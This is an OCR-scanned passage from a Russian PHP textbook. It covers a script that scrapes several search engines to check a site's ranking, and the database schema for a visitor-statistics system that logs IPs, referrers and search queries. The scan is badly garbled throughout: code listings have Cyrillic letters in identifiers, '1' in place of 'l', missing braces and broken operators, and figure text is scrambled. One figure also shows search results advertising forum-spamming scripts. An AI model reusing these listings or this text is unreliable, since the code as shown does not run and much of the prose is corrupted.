Глава 23. Система мониторинга позиций сайта в поисковblХ системах ?> $result [$i] ['u r 1'] = $out [1] [$i] ; $result [$i] ['пате'] = $out [2] [$i] ; return $resu1t ; // URL с резуль татами запроса $ur1 = '' http: //sm. aport . ru/scripts/temp1ate .dll?r= '' . ur1encode ("Форум РНР" ) . "&That=std&p=O &" . "HID=123456789101112131415". - ------ -- - - - - - - "16 17 181920212223242526272829". "_3 0_31_32_33_34_35_36_37_38_39_40"; // Вызываем функцию , которая загружает страницу $arr = aport ($ur1) ; // Выв одим резуль таты for ($i = О; $i < count ($arr) ; $i++) echo "<а href=($arr [$i] [ur1 ] } >$arr [$i] [пате] </a><br> "; Результат работы скрипта из листинга 23 .6 демонстрируется на рис. 23 .4 . Конвертор из форума РДР Fusion в IPB 1.3 - Сетевой Бизнес 1&Ш.'Q Поиск на ФОРУlне РНР : Скрипт постинга по ФорvJ't1а�1 (рЬр) База из 28600 форумов прилага етс я. Скрипт ЩIЯ спама Форvмов (рЬр) :N'! ! 2 Можно поститъ через ПРОКС И. База 10000 форумов прилагается.. . Скрипт постинга по форумам (рЬр). База из 30000+ фор\�м ов прил агается. ФОРVl\f програ ммистов :: lC. .NET . Java, Delphi, С++, РНР. Lotus. Ajax, "isual Рис. 23.4. Список ссылок, полученных от поисковой системы Apoгt на запрос "Форум РНР" 977
978 Часть 11. Создание сайта 23.5 . М о ниторин г позиции сайта Система мониторинга, разрабаты ваемая в данном разделе, будет принимать от пользователя кл ючевые слова, искомый сайт, а также название поисково й системы, где следует производить мониторинг (впрочем, можно задать мони­ то ринг по всем поисковым систем ам ). . Катал ог процvкци и КОНl з,ктная ):ШФ. .Qр'!r.! ;;'tJ.\1i.! :Вопросы IJ Ответы [f. .P..: bl�.H.?M M Защитэ [1иреКТQР�Н1 !1i,\QQ!1.€!:1 Гостевая книг,,- У.D.Р.З. � D.РJ!.\1€ Форум ом ПОЗI!UИЯ В поисковкках Бпо-к ноаОСНI Гаперея Боек голосования PowerCDuflter ПОЧТQвая .Р. .9.��.t,.!!Ш9 ПОЛЬЭQватеm1 саЙта КПючевые cnoвa 10: Поисковая систе",о: IФОРУ'-1 Рtiр . I=f:tti те.г,: :, II??�. EI Поискоеая СI1{:теМ8 Ya'ldex: ПОЗИЦНR 11 5 Фоpv" РНР Страница Ya'ldex Поисковая Cl1creMa Go09le: ПОЗИЦI1Я 11 5 Фору" РНР Ста ница Goog!e Поискоеая Cllcre�ta RambIer: Позиция N 3 ФОРУk, РНР Страница Ra rnbIer Поискоеая С!lстема дjJort ПOЗl1ЦИЯ N 29 ФЩIУk. на PHP+FI!Y SOI. ЬЛ!1l li!.!lJ.i!J.ШШ Рис. 23.5 . Резул ьтаты поиска вхождения сайта softtime. Гu по кл ючевым сл овам "Форум РНР" Резул ьтатом работы монитор инга станут позиции сайта в поисковых систе­ мах, а таюке ссылки на стран ицы, где можно обнаружить сайт - ориенти ру-
Гл а ва 23. Система мониторинга позиций сайта в поиско вых системах 979 ясь на позицию можно делать выводы об эффективности поисковой опти ми­ зации, а также вероятность посещения сайта по задан ным кл ючевым сл овам . На рис. 23 .5 приводится внешний вид приложения с резул ьтата ми поиска ссылки на сайт sоft t iшел\ по кл ючевому запросу "Форум РНР" . На рис. 23 .5 в выпадающем списке Поисковые системы выбран пункт Все, поэто му в отчете присутствуют ссылки на все четыре поисковые системы, в кл юченные в приложение. При указании конкретной поисковой системы отчет будет содержать результаты тол ько по ней (рис. 23 .6). ЗА МЕЧАНИЕ При поиске в поисковых систе мах большое значение имеет порядок кл юче­ вых слов, поэтому для запросов "Форум РНР" и "РН Р Форум" сайт может находиться на разных позициях. !{Qш.Р'.lI I!:@j L�нФормация Вопросы и Ответы FrP-м енеnжер � .P. . f1P..Mr.Q.P. . �J1 паРQпем Госте вая кн иrа Сnйт'; ПоисковВII систеr<о.: 1!; ; ��ti��.:.�':I ...щ [.CI.':Y���I: :: ..� ПОИСКОВ811 систе".� Уа.ООех: ПОЗ}�IR 11 18 �_<mшЕ..f:!!'. С!рЩ!иuа Уалdех Рис. 23.6 . Поиск тол ько по поисковой системе Уапdех Для простоты разработки объединим все ранее создан ные фун кции yandex (), google (), rarnbler () и aport () В оди н файл utils.pI1 p. В этот же файл добавим вспомогател ьную функцию search (), которая имеет следующий синтаксис : search ($keyword, $site, $search ) Дан ная функция возвращает позицию сайта $site в резул ьтатах поисковой системы $search на запрос $keyword. Последн ий параметр $search может
980 Часть 11. Создание са йта принимать одно из четырех значений: ' yandex' , ' google' , ' rarnbler' и ' apo r t', соответствующих поисковым системам . В листи нге 23 .7 приводится возмож­ ная реализация функции search (). Листинr 23.7 . Поиск позиции сайта в поисковых системах, функция search () <?php funct ion search ($keywo rd, $site, $search ) // Количество просматриваемых страниц $pnurnber = 10; // Резуль тат $result = "'.' ; switch ($search ) case 'yandex ': $resu1t .= "Поисковая система Yandex :<br>" ; for ($i = О; $i < $pnurnber; $i++) $url .. httр : //www . уашiех . ru/уапds еаrСh?&р=$ i&tехt= .. . urlencode ($keyword ) ; unset ($arr) ; $arr = yandex ($url) ; for ($j = О; $j < count ($arrj ; $j++) if ( strpos ($arr [$j] ['url'], $site) !== false) $result $result $result "Позиция N ". ($i*10 + $j + 1) . "<br>"; "<а href={$arr[$j] [url] }>" . ut f8_win ($arr [$j] [ 'пате'] ) . "</a><br> "; "<а hrеf=$url>Страница Yandex< /a><br> "; return $result ; $result .= "Сайт не найден<Ьr> "; return $result;
Глава 23. Система мониторинга позиций са йта в поисковых системах case 'google ': $resu1t .= "Поисковая система Goog1e :<br>" ; for ($i О; $i < $pnumbe r; $i++ ) $ur1 = ''http ://www. goog1e . ru /search ?q='' .ur1encode ($keyword) . "&cornp1ete=1 &h1=ru&lr=&start=" . ($i*$pnumber) ."&sa=N" ; unset ($arr) ; $arr = google ($ur1) ; for ($j = О; $j < count ($arr) ; $j++) if ( strpos ($arr [$j ] [ 'ur1'], $site) !== fa1se) $resu1t .= "По зиция N ". ($i*10 + $j + 1) . "<br>"; 981 $resu1t .= "<а href= {$arr [$j ] [ur1 ] }>{$arr [$j ] [пате ] }</a><br>" ; $resu1t .= "<а hrе f=$ur1>Страница Goog1e</a><br> "; return $resu1t ; $resu1t .= "Сайт не найден<Ьr>" ; return $resu1t ; case 'rarnb1er' : $resu1t .= "Поисковая система Rarnb1er :<br>" ; for ($i О; $i < $pnumber; $i++) $ur1 = ..http ://www .rarnb1er . ru/srch?oe=1251&words= .. . ur1encode ($keywo rd ) . "&start=" . ($i*15 + 1) ; unset ($arr) ; $arr = rarnbler ($ur1) ; for ($j = О; $j < count ($arr) ; $j++) { if (strpos ($arr [$j ] [ 'ur1'], $site ) !== fa1se) $resu1t .= "Позиция N ". ($i*15 + $j + 1) . "<br>"; $result .= "<а href= {$arr [$j ] [ur1 ] }>{$arr [$j ] [пате] } </a><br>" ;
982 ?> Часть 11. Создание сайта $ resu1t .= "<а hrеf=$ur1>Страница Ramb1er</a><br> "; return $resu1t ; $resu1t .= "Сайт не найден<Ьr>"; return $resu1t ; case 'aport' : $resu1t .= "Поисковая система Ap ort :<br>"; for ($i $ur1 О; $i < $pnumbe r; $i++ ) ''http ://sm .aport . ru /scripts/temp 1ate .d11?r='' . ur1encode ($keyword ) . "&That=std&p=$ i&" . "НШ=123456789101112131415" --------- - - - - - - "16 17 181920212223242526272829". "_30_З1_32_3 3_3 4_35_3 6_3 7_3 8 _3 9_40"; unset ($ад) ; $arr = aport ($ur1) ; for ($j \ = О; $j < count ($ап) ; $j++) if ( strpos ($arr [$j] ['ur1'], $site) !== fa1se) $resu1t .= "Позиция N ". ($i*10 + $j + 1) . "<br> "; $result .= "<а hre f={$arr[$j ] [ur1 ] » {$arr [$j ] [пате ] )</a><br>"; $resu1t .= "<а hrеf=$ur1>Страница Ap ort</ a><br> "; return $resu1t ; $resu1t .= "Сайт не найден<Ьr> "; return $resu1t ;
Глава 23. Система моНиторинга позиций сайта в поисковых системах 983 . Тело функции реализовано в виде конструкци и switch (), которая в зав иси­ м ости от значения параметра $search осуществляет запрос поисковой систе­ м е Yal1dex, Go ogle, Ral1 1 bler ил и Aport. Дл я каждой поисковой системы пред­ назначен свой собственный блок, который формирует URL и вызывает соответствующую функцию разбора страниц. В цикле просматриваются первые десять страниц (количество определяется переменной $pnumber) резул ьтатов запроса $keyword; есл и среди них нахо­ дится ссыл ка на искомый сайт $site, функция возвращает номер позиции, под которым обнаружен сайт, ссылку (URL и название), указанную в отчете поисковой системы, и ссыл ку на страницу поисковой системы, где был най­ ден искомый саЙт. Есл и сайт не обнаружен на первых десяти страницах, функция возвращает сообщение Сайт не найден . В листинге 23 .8 приводится содержимое файла il1dex.pllp, который генериру­ ет НТМL-форму, представл енную на рис. 23 .5 и 23 .6 . НТМL-форма содержит два тексто вых поля keywords И site соответственно дл я искомых сл ов и ад­ реса сайта, а также выпадающий список search, который поз воляет выбрать одну поисковую систе му или все поисковые системы сразу. Листи нг 23.8. НТМL-форма ДЛЯ мониторинга позиции сайта , index. php <?php / / Снимаем ограничение на время вьmолнения скрипта @set_time_l irnit (O) ; // Устанавливаем соединени€ с базой данных requi re_once ("../ ../con fig/config .php ") ; // Подключаем блок авторизации require_once (" ../uti ls/security_mod .php" ) ; // Подключаем классы формы require_once ("../ ../con fig/class . config .dmn.php ") ; // Вспомогатель ные функции yandex () , google () , rambler () , aport () requi re_once ("utils .php") ; try $keywords new field_text ( "keywords " , "Ключевые слова ", true , $_REQUE ST ['keywords ']);
984 $зНе $search new field_t ext ,( "sit e", "Сайт" , true , $_REQUE ST ['s ite']); new f ield_select ( "search" , "Поисков-ая система ", Часть 11. Создание са йта array ("all " => "Все", "yandex " => "ЯНдекс " , "google " => "Google ", "rarnbler" => "Рамбл ер " , "aport " => "Алорт") , $_REQUEST ['search' ]); $fonn new fonn ( array ("keywords " => $keywords , I fsite" "search " "Искать ", "field" ); => $site , => $search) , // 1. Обработчик НТМL-формы : проверка ошибок заполнения формы if( ! ernpty ($_POST) ) // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fonn->check () ; // Начало страницы $title 'Мониторинг позици и сайта в поисковых системах '; $pageinfo '<р class=help>< /p> '; // Включаем заголовок страницы require_once ("•./utils/top .php ") ; // Выводим сообщения об ошибках, если они имеют ся if (!ernpty ($error) ) echo "<зрап style=\"color :red\">" . irnplode ("<br>", $error) .
Гла ва 23. Система мониторинга позиций сайта в поисковых системах "</span><br> "; } // Выводим НТМL-форму $form->print_form () ; // 2. Обработчик НТМL-формы : основная часть if (emp ty ($error ) && !emp ty ( $_POST )) echo "<р class=help> "; if ($form->fields ['search' ] ->value != 'al l' ) echo search ($form->fields ['keywords ']->value , $form- >fields ['s ite' ] ->value , $form->fields ['search' ] ->va lue) ; else $array = array ('yandex ', 'google ', 'ramb ler ', 'aport' ); $keywords = $form- >fields ['keywo rds ']->value ; $site = $form->fields ['s ite' ] ->value ; foreach ($a rray ав $value ) echo search ($keywords , $вНе, $value ) ; echo "<br>"; echo "</р >"; catch ( Excepti onObj ect $ехс ) require (" ../utils/exceptiOn_Obj ect . php" ) ; catch ( ExceptionМySQL $ехс ) requi re ( .. ../utils/except ion_my sql .php .. ); 985
986 ?> catch ( ExceptionМernber $ехс) require ("../utils/exception_mernb er .php ") ; // Включаем завершение страницы require_once ("../utils /bottom.php" ) ; Часть 11. Создание сайmа Следует отметить, что в листинге 23 .8 испол ьзуется нетрадиционная ком по­ новка НТМL-формы и ее обработчика. Для того чтобы выводить сообще н и я о возможных ошибках заполнения перед формой, а результаты обработ ки после нее, обработчик разбивается на две части. Проверка ошибок при по­ мощи метода $form->ch eck () осуществляется перед выводом НТМL-формы , в то время как сам обработчик располагается после вывода НТМL-форм ы при помощи метода $form- >print_form () .
ГЛАВА 24 Система учета посещаемости сайта Да нная гл ава будет посвящена разработке системы учета посещаемости сай­ та - PowerCounter. Крупный сайт не может обойтись обычным счетч иком посещений, так как адм инистратору необходимо контролировать множество п араметров: CI посещаемость сайта в цел ом и его отдел ьных страниц; CI кол ичество посещений со страниц поисковых систем и других ресурсов, где могут быть расположены ссыл ки на сайт; CI ключевые слова, по которым сайт был обнаруже н в поисковых систе мах; CI IР-адреса и время посещения сайта каждым из посетител ей; CI тип и версия операционной системы и браузера посетителя и др. Ранее посещаемость сайта оценивалась при помощи счетчика посещений, сейчас, при жесткой ко нкуренции сайто в, этого недостаточно - нужны бо­ лее развитые инструменты . ЗА МЕЧА НИЕ Системы учета посещаемости сайта, делятся на две большие группы: внешние, такие как RambIer, HotLog и т. П., кото рые располагаются на внешних серверах и требуют вставки JаvаSсгi рt-скрипта или изображения, и внутренние, кото рые встра иваются в серверный код. Внешние системы учета зачастую недооценивают кол ичество посетителей, так как страница может быть недогруженной, а выполнение JavaScript заблокировано. в системах учета посещаемости принята определенная терминология, кото­ рая далее будет использоваться в это й главе. Хитом называется загрузка по­ сетител ем одной страницы сайта, иногда из этого кол ичества вычитаются
988 Часть 11. Создание сайта обращения робото в (например, поисковых систем) - в это м случае говорят о засчитанных хитах. Хосто м называется кол ичество обращений с разл ичны х IР-адресо в. Следует отметить, что с одного IР-адреса к страницам сайта мо­ гут обращаться несколько посетител ей, а один и тот же посетител ь может за де нь обращаться к сайту с разных IР-адресов. Помимо это го выделяют кол и ­ чество посетителей: для этого при помощи cookie ил и других инструментов пытаются подсчитать кол ичество реальных посетител ей вне зависимости от их IР-адреса. ЗА МЕЧА НИЕ Данный проект, который создавался и подцержи вался в течение пяти лет, является примером те сного вза имодействия авторов книги и посетителей форума http://ww w .s oft t ime.ru/foru m/. Посетители форума вносили множе ­ ство предложений и рабочих модулей, позволяющих улуч шить РоwегСоuпtег. Особенно хотелось бы подчеркнуть скрупулезную работу А. В . Левина, кото­ рый буквал ьно вдохнул в него вторую жиз нь. 24.1 . База данных Для построения систе мы учета посещаемости потребуется несколько табли ц в базе данных MySQL. Так как необходим учет статистической информации для каждой страницы сайта, кол ичество кото рых не ограничено, потребуетс я табл ица powercounter_page s, В которой будет храниться информация о каж­ дой из страниц, участвующих в сборе статисти ческой информации. ЗА МЕЧА НИЕ Далее в листи нгах префикс powe rcount er В названии табл иц будет заме­ няться на $tbl, таки м образом, имя таблицы powe rcounter_p ages будет обозначаться РНР-переменной $tbl_p ages. Табл ица power count er_p ages ($tb l_pages) будет состоять из следующих че­ тырех полей: О id_page первичный кл юч табл ицы, снабженный атрибутом АИТО_ INCREMENT, позволяющим авто матически генерировать уникал ьный идентификатор для новых записей; О пате - относител ьный путь к странице; О title - название страницы ;
Глава 24. Система учета посещаемости сайта 989 о id_s ite - зарезервированное целочисленное поле дл я расширения сис­ темы на несколько саЙтов. Оператор CREATE TABLE, выпол няющий создан ие табл ицы powe rcoun­ t e r_p ages, приведен в листинге 24. 1 . Листинг 24.1. Таблица powe rcounteryages ($tblyages) CREATE TAВLE powe rcounter_p ages ( ); id_page INT (ll) NOT NULL AUTO_INCREМENT , паше ТЕХТ , title ТЕХТ , id site INT (4) DEFAULT NULL , PRIМARY КЕУ (idy age ) Табл ица powe rcount er_p ages ( $tbl_pages) содержит путь к странице паше и ее название title (последнее поле является необязател ьным). Если пред по­ лагается учиты вать статистику сразу для нескольких сайтов, в табл ицу вво­ дится резервное поле id_s ite. Для этого также потребуется дополн ител ьная табл ица powercounter_s ites, связь с которой будет осуществляться при по­ мощи внешнего ключа id_s ite. Для хранения обращений посетителей к сайту предназначена табл ица powe rcounter_ip, которая сохраняет время обращения посетителя к стр ани­ це, вторичный ключ id_p age, по которому можно восстановить параметр ы страницы по табл ице powercount er_pages, а также характеристи ки посетите­ ля: каким брауз ером и операционной системой он пользуется, не является ли он роботом поисковых систем, а есл и является , то каким. Таблица powercount er_ip ( $tbl_ip) содержит следующие поля: О id_ip первичный кл юч табл ицы, снабженный ат рибутом AU TO_ INCREMENT, позволяющим авто матически генерировать уникальный идентификатор дл я новых записей; О ip - целочисленное поле, предназначенное для хранения IР-адреса посе­ тителя; о putdate - время посещения; О id_page - порядковый номер посещаемой страницы; О brows ers - поле типа ENUM, в котором сохраняется тип браузера посети­ теля;
990 Часть 11. Создание сайта о systems - пол е типа ENUM, в котором сохраняется тип операционной сис­ тем ы посетителя или его принадлежность к поисковой систе ме, есл и об­ ращение исходило от робота. Оператор CREATE TAВLE, выполняющий создан ие табл ицы powe rcounter _ ip, приведен в листинге 24 .2 . Листи нг 24.2 . Табл ица powercounter_ip ($tbl_ip) CREATE TAВLE powe rcounter_ip ( ); id_ip INT (ll) NOT NULL AUTO_INCREМENT , ip BIGINT (ll) NOT NULL DE FAULT 'О', putdate DATETlМE NOT NULL DEFAULT '0000-00- 00 00 :00:00', id�age INT (lO) NOT NULL DE FAULT 'о', browsers ENUМ('none', 'msie ' , 'opera ' , 'netscape ' , ' firefox ' , 'myie ' , 'mozilla ') NOT NULL DEFAULT 'попе' , systems ENUМ ( 'попе ' , 'windows ' , 'unix ' , 'macintosh ' , , robot_yandex ' , 'rObot_google ' , 'robot_rambler ' , , robot_aport ' , 'robot_ms nbot ') NOT NULL DE FAULT 'попе', PRIМARY КЕУ (id_ip) , КЕУ putdate (putdate ), КЕУ ip (ip) IP-aдpec посетителя можно хранить в двух форматах : в строковом, наприм ер " 123 . 123 .45 . 87", и в числовом , например 2071670103. Строковый ти п легче воспринимается человеком, не требует дополнител ьного преобразо­ вания при получении его из эл емента суперглобал ьного масс ива $ _SERVER [ , REMOTE_ADDR '] И повторного преобразования при выводе в окно
Глава 24. Система учета посещаемости сайта 991 браузера. В свою очередь числовой тип занимает меньше места в базе дан­ н ых, а запросы с его участием выполняются гораздо быстрее, чем запросы с участием текстовых строк. IР-адрес XXX.YYY.ZZZ.WWW можно преобразо­ вать в целое число по 'формуле: ХХ Х ' 2563 + УУУ' 2562 + ZZZ '2561 +ww w . 2560 Обратное преобразование упакованного IР-адреса в строку вида XXX .YYY .ZZZ.WWW произ водится путем деления числа на 256. Для упа­ ковки IР-адреса в число в MySQL предназначе на функция INET_AТON ( ), для об ратного преобразования числа в IР-адрес предназ начена функция I NET_NTOA ( ). Следует отметить, что для хранения IР-адреса необходимо ис­ пользовать тип BIGINT, поскольку тип INT позволит хранить тол ько адреса, меньшие чем ] 27.0.0. 1, отсекая все остальные. ЗА МЕЧАНИЕ В РНР для преобразования IP-аАреса также предусмотрены специальные функци и. Для преобразования в числовой формат испол ьзуется функция ip2 10ng (), для преобразования в строковый формат - функция long2 ip (). Как видно из листинга 24.2, поле brows ers может принимать семь знач ений: CJ попе - если тип браузера посетителя определить невозможно; CJ rns ie - данное значение поле принимает, есл и в качестве браузера посе- тител ь использует Il1terl1et Explorer; CJ opera - соответствует браузеру Opera; CJ netscape - данное значение относится к браузеру Netscape; CJ firefox - соответствует браузеру FireFox; CJ rny ie - браузеру MyIE; CJ rno zilla - говорит об использовании брауз ера Mozilla. ЗА МЕЧА НИЕ Значение дл я браузера Netscape приведено здесь скорее как дань тради­ ции и для демонстрационных целей, так как в настоящий момент данный браузер не поддержи вается , а пользователям рекомендовано воспользо­ ваться альтернативным. Поле systerns имеет двойное назначение: с одной стороны, оно хранит тип операционной системы посетителя, а с другой, есл и посещение совершено
992 Часть 11. Создание сайта роботом, оно определяет принадлежность к поисковой системе. Данное п ол е может принимать восемь знач ений: CJ попе - тип операционной систе мы или поискового робота не удовлетво­ ряет остальным семи значениям; CJ windows - посетител ь в качестве операционной системы испол ьзует Windows; CJ unix - соответствует UNIХ-подобным операционным систе мам (глав - ным образом Lil1ux); CJ ma cintosh - соответствует систе мам Mac il1tosll ; CJ robot_yandex - робот поисковой системы Yandex; CJ robot_google - робот поисковой систе мы Google; CJ robot_rambler - робот поисковой системы RambIer; CJ robot_apo rt - робот поисковой системы Aport. Как будет показано ниже, средства РНР позволяют определять так называе­ мый " реферер" , - строку, содержащую сетевой адрес ресурса, с которого посетител ь пришел на данную страницу. Дан ная стр ока может быть пусто й , есл и посетител ь набирает адрес ресурса в стр оке браузера ил и посетителе м является робот. Для хранения реферера предназначена табл ица powercount er_refferer, ко­ торая в скриптах обозначается переменной $tbl_re fferer и содержит пять полей : CJ id refferer - первичный кл юч табл ицы, снабженный атрибутом AU TO_INCREMENT, позволяющим авто матически генерировать дл я новых записей уникальный идентификато р; CJ пате - реферер, URL ресурса, с кото рого пришел посетител ь; CJ put date - время и дата посещения; CJ ip - IР-адрес посетителя; CJ id_page - порядковый номер страницы, к кото рой относится текущее посещение. Оператор CREATE TAВ LE, создающий табл ицу powercount er_ refferer, пред­ ста влен в листинге 24.3 .
Гл ава 24. Система учета посещаемости сайта Листинг 24. 3. Табл ица powercounter _ ref ferer ( $tbl_ refferer) СRБАТЕ TAВLE powe rcount er_refferer ( id_refferer INT (ll) NOT NULL AUTO_INCREМENT , пате ТЕХТ NOT NULL , ); putdate DATETlМE NOT NULL DE FAULT '0000-00 -00 00 :00:00', ip BIGINT (ll) NOT NULL DEFAULT ' о ', id_page INT (ll) NOT NULL DE FAULT ' о ', PRlМARY КЕУ (id_re fferer) , КЕУ id_page (id-page) , КЕУ ip (ip) 993 Можно заметить, что табл ицы powercount er refferer и powercount er_ip денормализованы, так как поля таблицы powe rcount er_ refferer повторяют многие поля таблицы powe rcount er_ip. Подобная денормализация требуется дл я того, чтобы при работе с текстовыми знач ениями рефереров избежать ресурсоемких многотабл ичных запросов. Разница между табл ицам и powercounter_ip и powercount er_re fferer заключается в том, что в табл ицу powercount er ip заносятся все хиты , в то время как в табл ицу powercounter_ refferer заносятся тол ько хиты , дл я которых строка с рефе­ рером непуста и является переходом с ресурса, для которого производится сбор статистики. В настоящее время боль шинство посетителей начинают свою работу со стра­ ниц поисковых систем, поэтому положение сайта в поисковой системе чрез­ вычайно важно. В связи с этим необходимо отсл еживать, по каким кл ючевым сл овам посетители находят саЙт. Для хранения таких ключевых сл ов, вводи­ мых посетителями в поисковых системах, будет использоваться таблица pow­ ercounte r_s earchque rys ( $tbl_s earchque rys) , содержащая шесть полей: D quer_id первичный кл юч табл ицы, снабженный атрибутом AUTO_INCREMENT, позволяющим автоматически генерировать уникальный идентификатор для новых записей; D query - поисковый запрос, который был введен пользователем; D putdate - время и дата посещения; D ip - IP-aдpec посетителя; D id_p age - порядковый номер стран ицы, к которой относится текущее посещение; D searches - поле типа ENUM, в котором хранится имя поисковой системы.
994 Часть 11. Создание сайта Оператор CREATE TAВLE, создающий таблицу powercounter_ refferer, пред­ ставлен в листинге 24.4 . Листинг 24.4. Табл ица powercounter_searchquerys ($tbl_searchquerys) CREATE TAВLE powercounter_s earchquerys ( que r_id INT (ll) NOT NULL AUTO_INCREМENT , que ry TINYTEXT NOT NULL , putdate DATETIМE NOT NULL DE FAULT '0000-00 -00 00 :00:00', ip BIGINT (20) NOT NULL DE FAULT 'О', id-page INT (ll) NOT NULL DEFAULT 'О', searches ENUМ('yandex ', 'google ' , ' rambler ' , 'aport ' , 'mail' , 'rns n' ) NOT NULL DE FAULT 'yandex ', PRIМARY КЕУ (id_que ry) Табл ица powercounter_ searchque rys ( $tbl_ searchque rys) по структуре схожа с таблицей powercounter_ refferer, однако содержит дополнительное поле search es, определяющее тип поисковой системы . Дан ное поле может принимать сл едующие значения : LI yandex - поисковая система Яндекс ; LI google - поисковая система Google; LI rarnbler - поисковая система RambIer; LI aport - поисковая систе ма Aport; LI rnаН - портал Mail.ru; LI rnsn - поисковая система MSN. IP-aдpec позволяет определ ить множество параметров, относящихся к посе­ тителю, важнейшим из которых является место его проживания. Для этого в состав базы данных вводится три таблицы : LI powercount er_regions - табл ица регионов; LI powercounter_cities - таблица городов; LI powercounter_ip _cornpact -IР-адреса.
Глава 24. Система учета посещаемости сайта 995 Табл ица powercounter_regions ( $tbl_rеgiопs) содержит регионы Россий­ с кой CDедерации, роwеrсоuпtеr_сitiеs ( $tbl_cities) -- города, а powe r­ соuпtеr_iр_соmрасt ( $tb l_ip_c ompact) -- диапазоны IР-адресов. ЗАМЕЧАНИЕ База данных городов и регионов, поставляемая вместе с системой Power­ Counter, является устаревшей; более новую базу данных следует приобре­ тать у специализированных дистрибьюторов, осуществл яющих продажу ак­ туальных баз да нных IP-аАресов. в листингах 24.5 --24 .7 представлены операторы CREATE TAВLE, создающие таб­ лицы powercount er_regions, роwеrсоuпtеr_cities и powe rcounte r_ip_compact. ЗА МЕЧА НИЕ Так как табл ицы имеют значител ьный объем, здесь приводится лишь часть данных. Полный дамп табл ицы можно обнаружить на компакт-диске, по­ с,авляемом вместе с кн игой. Листи нг 24.5. Табл ица powercoun ter _ regions ($tbl_ regions) CREATE TAВLE роwе rсоuпtеr_rеgiопs ( ); rеgiоп_id INT (ll) NOT NULL DEFAULT 'О', rеgiоп_пamе VARCНAR (255) NOT NULL DEFAULT " INSERT INTO system_r egions VALUES (О, 'не определен '); INSERT INTO powe rcount er_regions VALUES (1, 'Республика Адыгея' ); INSERT INTO sуstem_ rеgiопs VALUES (89, 'Ямало-Ненецкий автономный округ' ); Табл ица роwе rсоuпt еr_rеgiопs содержит тол ько два поля: первичный кл юч rеgiоп_id и название региона rеgiоп_паmе . Листинг 24.6 . Таблица powercounter_cities ($tbl_cities) CREATE TAВLE powercounter_cities ( ); city_id INT (ll) NOT NULL DEFAULT 'О' , rеgiоп_id INT (ll) NOT NULL DEFAULT 'О', сitу_пamе VARCНAR (255) NOT NULL DEFAULT "
996 Часть 11. Создание сайта INSERT INTO powe r counter_cities VALUES (1, 77, 'Москва '); INSERT INTO powercounter_cities VALUES (2, 78, 'Санкт - Петербург '); INSERT INTO powe rcounter_cities VALUES (288, 72, 'Мегион' ); INSERT INTO powe rcounter_cities VALUES (289, 54 , 'Краснообск '); Таблица powercount er_cities содержит I1ервичный кл юч city_id, вторич­ ный ключ region_i d для связи с табл ицей powercount er_regions И название города city_name . Листинг 24.7. Таблица powercounter_ip_comp act ( $tbl_ip _compact) CREATE TAВLE powe rcounter_ip_compact ( init_ip BIGINT (20) NOT NULL DEFAULT 'О', end_ip BIGINT (20) NOT NULL DE FAULT 'О', city_id INT (ll) NOT NULL DE FAULT 'О' ); INSERT INTO powe rcounter_ip_compact VALUE S (1040547840, 1040553455, 1) ; INSERT INTO powe rcounter_ip_compact VALUE S (1040553456, 1040553463, О) ; INSERT INTO powe rcounte r_ip_compact VALUES (3654 614528, 3654 615039, 1) ; Табл ица powercounter_ ip _compact содержит диапазоны IP-адресов, нижняя гран ица которых определяется полем init_ip, а верхняя - end_ip; принад­ лежность диапазона определяется вторичным кл ючом city_id, который свя­ зывает диапазон с городом. IР-адреса задаются в числовом виде, для того чтоб ы ускорить операции с диапазонам и. Кроме это го, потребуется табл ица powercount er_thits для временных опе­ раций. Можно воспользоваться временной табл ицей CREATE TEMPORARY TABLE, однако на большинстве хостингов создан ие вре­ менных табл иц запрещено, поэтому удобнее воспользоваться обычной таб­ лицей (л истинг 24 .8). Листинг 24.8. Таблица powercounter_thi ts ( $tbl_th�ts) CREATE TAВLE powercount er_thits hits int (ll) de faul t NULL ); Ежедневно на сайт могут заходить тысячи посетител ей, просматриваю щих сотни страниц. Поэтому если вовремя не удалять информацию, то рассмот-
Глава 24. Система учета посещаемости сайта 997 ренные выше табл ицы могут за небольшой срок достигать размера порядка сотен мегабайт. В связи с этим необходи мо сохранять информацию по дням, н еделям и месяцам в отдел ьные архивные табл ицы, регулярно уничтожая ус­ таре вшую информацию из основных табл иц. Все архивные табл ицы будут иметь приставку powe rcount er_a rch_, при этом табл ицы дл я еженедельной архивации будут иметь суффикс _wee k, а для еже­ месячной - суффикс _mont h. Таким образом, для архивации данных из табли­ цы powe rcounter_ip потребуется три дополнител ьных табл ицы для архивации информации о типах браузеров и информационных систем посетител ей: CJ powe rcounte r_a rch_clients - суто чная архивация; CJ powercounter_arch_c lients_week - еженедел ьная архивация; CJ powercount er_a rch_c lient s_month - ежемесячная архи вация . Система Powel'COUI1ter будет снабже на большим количеством сервисов, для каждого из которых необходима суточная, недельная и месячная статистика, В табл , 24 , 1 приводятся названия сервисов и соответствующие им архи вные табл ицы . Назван ие с ерв иса Хиты и хосты Системы и браузе­ ры IP-аАреса Поиско вые роботы Та блица 24. 1 . Архивные таблицы системы РоwегСоипtег Описание сервиса Количество хитов (засчитанных и обыч­ ных) и хосто в (засчи­ та нных и обычных) Кол ичество пользо­ вателей, испол ьзую­ щих ту или иную опе­ рационную систему или браузер Н аиболее популяр­ ные IP-аАреса Количество посеще­ ний роботами поис­ ко вых систем Таблицы powe rcounter_a r ch_hits_week powe rcount er_a r ch_hits_month powe rcount er_a rch_c lients powe rcounter_a rch_clients_we ek powe rcount er_a rch_ip_week powe rcounte r_a rch_ip_month powe rcoun­ ter_a rch_num_s earchquery_we ek powe rcoun­ ter_a rch_num_s earchque ry_mo nth
998 Н азвание сервиса Оп исание сервиса Поисковые Запросы , использо­ запросы ванные в поисковых системах для поиска сайта Рефереры Ресурсы , с кото рых выполнялся переход на стра ницы сайта Глубина Количество стра ниц, просмотра просмотренных посе­ тителями Время сеанса Точки входа Время, кото рое посе­ тител и провели на страницах сайта Страницы, через ко­ то рые посетител и наиболее часто по­ падают на сайт Часть 1/. Создание са йта Таблица 24. 1 (око нча ние) Таблицы powe rcount er_a r ch_s earchque r y powe rcoun­ ter_a rch_s earchquery_m onth powercounter_a rch_refferer powercounter_a r ch_enterpoint Суточные архивные табл ицы содержат поля кол ичественной характерист ики того ил и иного параметра из основных табл иц, а также до пол н ител ьное поле putdate типа DATE, по которому можно ориентироваться, в како й день сфор­ мирована текущая табл ица. В листинге 24.9 приводится оператор CREATE TAB LE дл я табл ицы powerc ounter_a r ch_c lient s , содержащей кол и­ чество посетителей, зашедших на сайт и испол ьзующих определенные брау­ зеры и операционные системы. Листинг 24.9. Табл ица 